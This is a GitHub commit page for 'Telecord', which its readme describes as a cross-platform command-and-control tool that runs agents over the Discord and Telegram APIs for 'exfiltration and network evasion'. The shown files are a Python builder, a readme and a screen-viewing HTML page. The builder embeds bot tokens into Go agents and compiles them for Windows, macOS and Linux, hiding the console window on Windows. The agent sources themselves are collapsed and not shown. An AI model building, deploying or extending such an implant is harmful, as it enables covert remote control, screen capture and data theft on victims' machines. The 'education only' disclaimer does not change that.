Skip to content

Commit 96ff5b4

Browse files
committed
first commit
0 parents  commit 96ff5b4

15 files changed

+2588
-0
lines changed

Agent.go

Lines changed: 559 additions & 0 deletions
Large diffs are not rendered by default.

Agent_linux.go

Lines changed: 554 additions & 0 deletions
Large diffs are not rendered by default.

Agentmac.go

Lines changed: 552 additions & 0 deletions
Large diffs are not rendered by default.

Telecord.go

Lines changed: 637 additions & 0 deletions
Large diffs are not rendered by default.

builder.py

Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
import yaml
2+
import re
3+
import subprocess
4+
import argparse
5+
import os
6+
import platform
7+
8+
# Parse command-line arguments
9+
parser = argparse.ArgumentParser()
10+
parser.add_argument('-pl', choices=['windows', 'mac', 'linux'], required=True)
11+
args = parser.parse_args()
12+
13+
# Set GOOS and GOARCH environment variables based on -pl argument
14+
if args.pl == 'windows':
15+
os.environ['GOOS'] = 'windows'
16+
os.environ['GOARCH'] = 'amd64'
17+
elif args.pl == 'mac':
18+
os.environ['GOOS'] = 'darwin'
19+
os.environ['GOARCH'] = 'amd64'
20+
else: # linux
21+
os.environ['GOOS'] = 'linux'
22+
os.environ['GOARCH'] = 'amd64'
23+
24+
# Read the YAML file
25+
with open('config.yaml', 'r') as f:
26+
config = yaml.safe_load(f)
27+
28+
# Read the Go file
29+
30+
31+
# Run the go build command
32+
if platform.system() == 'Windows':
33+
if args.pl == 'linux':
34+
with open('Agent_linux.go', 'r') as f:
35+
go_file = f.read()
36+
37+
# Replace the constants in the Go file with the values from the YAML file
38+
go_file = re.sub(r'(const DISCORD_BOT_TOKEN = )".*"', r'\1"{}"'.format(config['DISCORD_BOT_TOKEN']), go_file)
39+
go_file = re.sub(r'(const BOT_API_KEY = )".*"', r'\1"{}"'.format(config['BOT_API_KEY']), go_file)
40+
go_file = re.sub(r'(const ANOTHER_DISCORD_CHANNEL_T_ID = )".*"', r'\1"{}"'.format(config['ANOTHER_DISCORD_CHANNEL_T_ID']), go_file)
41+
go_file = re.sub(r'(var CID int64 = ).*', r'\1{}'.format(config['CID']), go_file)
42+
43+
# Write the updated Go file
44+
with open('Agent_linux.go', 'w') as f:
45+
f.write(go_file)
46+
subprocess.run("""go build -buildmode=pie -ldflags "-s -w " -o ./Output/Telecord Agent_linux.go""")
47+
48+
elif args.pl == 'mac':
49+
with open('Agentmac.go', 'r') as f:
50+
go_file = f.read()
51+
52+
# Replace the constants in the Go file with the values from the YAML file
53+
go_file = re.sub(r'(const DISCORD_BOT_TOKEN = )".*"', r'\1"{}"'.format(config['DISCORD_BOT_TOKEN']), go_file)
54+
go_file = re.sub(r'(const BOT_API_KEY = )".*"', r'\1"{}"'.format(config['BOT_API_KEY']), go_file)
55+
go_file = re.sub(r'(const ANOTHER_DISCORD_CHANNEL_T_ID = )".*"', r'\1"{}"'.format(config['ANOTHER_DISCORD_CHANNEL_T_ID']), go_file)
56+
go_file = re.sub(r'(var CID int64 = ).*', r'\1{}'.format(config['CID']), go_file)
57+
58+
# Write the updated Go file
59+
with open('Agentmac.go', 'w') as f:
60+
f.write(go_file)
61+
subprocess.run("""go build -buildmode=pie -ldflags "-s -w -H=windowsgui" -o ./Output/Telecord Agentmac.go""")
62+
elif args.pl == 'windows':
63+
with open('Agent.go', 'r') as f:
64+
go_file = f.read()
65+
66+
# Replace the constants in the Go file with the values from the YAML file
67+
go_file = re.sub(r'(const DISCORD_BOT_TOKEN = )".*"', r'\1"{}"'.format(config['DISCORD_BOT_TOKEN']), go_file)
68+
go_file = re.sub(r'(const BOT_API_KEY = )".*"', r'\1"{}"'.format(config['BOT_API_KEY']), go_file)
69+
go_file = re.sub(r'(const ANOTHER_DISCORD_CHANNEL_T_ID = )".*"', r'\1"{}"'.format(config['ANOTHER_DISCORD_CHANNEL_T_ID']), go_file)
70+
go_file = re.sub(r'(var CID int64 = ).*', r'\1{}'.format(config['CID']), go_file)
71+
72+
# Write the updated Go file
73+
with open('Agent.go', 'w') as f:
74+
f.write(go_file)
75+
subprocess.run("""go build -buildmode=pie -ldflags "-s -w -H=windowsgui" -o ./Output/Telecord.exe Agent.go""")
76+
77+
else:
78+
79+
if args.pl == 'linux':
80+
with open('Agent_linux.go', 'r') as f:
81+
go_file = f.read()
82+
83+
# Replace the constants in the Go file with the values from the YAML file
84+
go_file = re.sub(r'(const DISCORD_BOT_TOKEN = )".*"', r'\1"{}"'.format(config['DISCORD_BOT_TOKEN']), go_file)
85+
go_file = re.sub(r'(const BOT_API_KEY = )".*"', r'\1"{}"'.format(config['BOT_API_KEY']), go_file)
86+
go_file = re.sub(r'(const ANOTHER_DISCORD_CHANNEL_T_ID = )".*"', r'\1"{}"'.format(config['ANOTHER_DISCORD_CHANNEL_T_ID']), go_file)
87+
go_file = re.sub(r'(var CID int64 = ).*', r'\1{}'.format(config['CID']), go_file)
88+
89+
# Write the updated Go file
90+
with open('Agent_linux.go', 'w') as f:
91+
f.write(go_file)
92+
subprocess.run("""go build -buildmode=pie -ldflags '-s -w' -o ./Output/Telecord Agent_linux.go""")
93+
elif args.pl == 'mac':
94+
with open('Agentmac.go', 'r') as f:
95+
go_file = f.read()
96+
97+
# Replace the constants in the Go file with the values from the YAML file
98+
go_file = re.sub(r'(const DISCORD_BOT_TOKEN = )".*"', r'\1"{}"'.format(config['DISCORD_BOT_TOKEN']), go_file)
99+
go_file = re.sub(r'(const BOT_API_KEY = )".*"', r'\1"{}"'.format(config['BOT_API_KEY']), go_file)
100+
go_file = re.sub(r'(const ANOTHER_DISCORD_CHANNEL_T_ID = )".*"', r'\1"{}"'.format(config['ANOTHER_DISCORD_CHANNEL_T_ID']), go_file)
101+
go_file = re.sub(r'(var CID int64 = ).*', r'\1{}'.format(config['CID']), go_file)
102+
103+
# Write the updated Go file
104+
with open('Agentmac.go', 'w') as f:
105+
f.write(go_file)
106+
subprocess.run("""go build -buildmode=pie -ldflags '-s -w' -o ./Output/Telecord Agentmac.go""")
107+
elif args.pl == 'windows':
108+
with open('Agent.go', 'r') as f:
109+
go_file = f.read()
110+
111+
# Replace the constants in the Go file with the values from the YAML file
112+
go_file = re.sub(r'(const DISCORD_BOT_TOKEN = )".*"', r'\1"{}"'.format(config['DISCORD_BOT_TOKEN']), go_file)
113+
go_file = re.sub(r'(const BOT_API_KEY = )".*"', r'\1"{}"'.format(config['BOT_API_KEY']), go_file)
114+
go_file = re.sub(r'(const ANOTHER_DISCORD_CHANNEL_T_ID = )".*"', r'\1"{}"'.format(config['ANOTHER_DISCORD_CHANNEL_T_ID']), go_file)
115+
go_file = re.sub(r'(var CID int64 = ).*', r'\1{}'.format(config['CID']), go_file)
116+
117+
# Write the updated Go file
118+
with open('Agent.go', 'w') as f:
119+
f.write(go_file)
120+
subprocess.run("""go build -buildmode=pie -ldflags '-s -w -H=windowsgui' -o ./Output/Telecord.exe Agent.go""")

docs/SETUP.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
soon

go.mod

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
module Telecord.go
2+
3+
go 1.21.0
4+
5+
require (
6+
github.com/bwmarrin/discordgo v0.28.1
7+
github.com/fatih/color v1.16.0
8+
github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible
9+
github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237
10+
gopkg.in/yaml.v2 v2.4.0
11+
)
12+
13+
require (
14+
github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7 // indirect
15+
github.com/gorilla/websocket v1.4.2 // indirect
16+
github.com/jezek/xgb v1.1.0 // indirect
17+
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
18+
github.com/mattn/go-colorable v0.1.13 // indirect
19+
github.com/mattn/go-isatty v0.0.20 // indirect
20+
github.com/technoweenie/multipartstreamer v1.0.1 // indirect
21+
golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b // indirect
22+
golang.org/x/sys v0.14.0 // indirect
23+
)

go.sum

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
github.com/bwmarrin/discordgo v0.28.1 h1:gXsuo2GBO7NbR6uqmrrBDplPUx2T3nzu775q/Rd1aG4=
2+
github.com/bwmarrin/discordgo v0.28.1/go.mod h1:NJZpH+1AfhIcyQsPeuBKsUtYrRnjkyu0kIVMCHkZtRY=
3+
github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM=
4+
github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE=
5+
github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7 h1:VLEKvjGJYAMCXw0/32r9io61tEXnMWDRxMk+peyRVFc=
6+
github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
7+
github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible h1:2cauKuaELYAEARXRkq2LrJ0yDDv1rW7+wrTEdVL3uaU=
8+
github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible/go.mod h1:qf9acutJ8cwBUhm1bqgz6Bei9/C/c93FPDljKWwsOgM=
9+
github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
10+
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
11+
github.com/jezek/xgb v1.1.0 h1:wnpxJzP1+rkbGclEkmwpVFQWpuE2PUGNUzP8SbfFobk=
12+
github.com/jezek/xgb v1.1.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
13+
github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237 h1:YOp8St+CM/AQ9Vp4XYm4272E77MptJDHkwypQHIRl9Q=
14+
github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237/go.mod h1:e7qQlOY68wOz4b82D7n+DdaptZAi+SHW0+yKiWZzEYE=
15+
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
16+
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
17+
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
18+
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
19+
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
20+
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
21+
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
22+
github.com/technoweenie/multipartstreamer v1.0.1 h1:XRztA5MXiR1TIRHxH2uNxXxaIkKQDeX7m2XsSOlQEnM=
23+
github.com/technoweenie/multipartstreamer v1.0.1/go.mod h1:jNVxdtShOxzAsukZwTSw6MDx5eUJoiEBsSvzDU9uzog=
24+
golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b h1:7mWr3k41Qtv8XlltBkDkl8LoP3mpSgBW8BUoxtEdbXg=
25+
golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
26+
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
27+
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
28+
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
29+
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
30+
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
31+
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
32+
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
33+
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
34+
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
35+
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
36+
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
37+
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
38+
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
39+
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
Loading

images/2024-04-04 15_44_27-.png

535 KB
Loading
Loading
Loading

readme.md

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
![alt text](<images/2024-04-04 11_10_48-C__Windows_System32_cmd.exe.png>)
2+
3+
Greetings
4+
-------------------
5+
6+
Telecord is an advanced crossplatform c2 using discord and telegram api ,it allows multi agent handling with ease
7+
8+
using Telegram and discord APIs can be good for exfiltration and network evasion , this project is built to enhance red teaming operations
9+
10+
Telecord works by combining the two APIs to get seamless and easy interaction with each agent
11+
12+
agents support mac,linux and windows
13+
14+
quick overview of how it works :
15+
-------
16+
![alt text](<images/2024-04-04 17_01_58-Telecord - Tableau blanc en ligne.png>)
17+
18+
the agent consist of 2 subagents , the fist is a discord bot and the other is a telegram bot.
19+
20+
since telegram does not allow multipleagents to run at the same time. by default the telegram bot is asleep inside our discord bot until we want to interact with it by sending the !interact command to the discord bot ,once it receives it wakes up the telegram bot ,meaning our session enabling us to execute more commands
21+
22+
list of commands below:
23+
24+
![alt text](<images/2024-04-04 17_11_51-C__Windows_System32_cmd.exe - go run cc.go -theme yellow.png>)
25+
26+
27+
Prerequisite
28+
-------
29+
golang
30+
python3
31+
discord acc
32+
telegram acc
33+
34+
Setup
35+
----------
36+
37+
git clone https://github.com/ELMERIKH/Telecord
38+
39+
go mod tidy
40+
41+
go run Telecord.go
42+
43+
You will get promted to enter 2 telegram bot tokens,1 telegram channel id ,1 Discord bot token ,a discord channel id and its webhook id
44+
45+
once done a config.yaml file is created with your settings ,if you want to change something either edit it or delete it and run "go run Telecord.go " another time
46+
47+
about the discord and telegram setup follow :[Setup Guide](docs/SETUP.md)
48+
49+
50+
51+
⚠️ DISCLAIMER :
52+
----------------------
53+
ME The author takes NO responsibility and/or liability for how you choose to use any of the tools/source code/any files provided. ME The author and anyone affiliated with will not be liable for any losses and/or damages in connection with use of Telecord. By using Telecord or any files included, you understand that you are AGREEING TO USE AT YOUR OWN RISK. Once again Telecord is for EDUCATION and/or RESEARCH purposes ONLY
54+
55+

screenshots/screenshare.html

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8">
5+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
6+
<title>The Show </title>
7+
<style>
8+
body {
9+
font-family: 'Courier New', Courier, monospace; /* Mimics typical cmd shell font */
10+
margin: 20px;
11+
background: linear-gradient(270deg, #000, #0a0c0b);
12+
background-size: 400% 400%;
13+
14+
color: #31a50e; /* Gold text color for the whole body */
15+
}
16+
nav {
17+
display: flex;
18+
justify-content: center;
19+
margin-bottom: 20px;
20+
}
21+
22+
nav a {
23+
color: rgb(21, 255, 0);
24+
text-decoration: none;
25+
margin: 0 15px;
26+
font-weight: bold;
27+
}
28+
29+
nav a:hover {
30+
text-decoration: underline;
31+
}
32+
</style>
33+
</head>
34+
<body>
35+
<nav>
36+
37+
<a href="/TELECORD">TELECORD</a>
38+
</nav>
39+
40+
<img id="screenImage" src="screenshot.jpg" alt="Screen Share Image" style="width: 80%; height: 80%; object-fit: contain;display:flex;margin-left: 150px;">
41+
<script>
42+
setInterval(function() {
43+
var screenImage = document.getElementById("screenImage");
44+
screenImage.src = screenImage.src + "?" + new Date().getTime(); // Add a timestamp to force the browser to reload the image
45+
}, 500); // Refresh every 1 second
46+
</script>
47+
</body>
48+
</html>

screenshots/screenshot.jpg

162 KB
Loading

0 commit comments

Comments
 (0)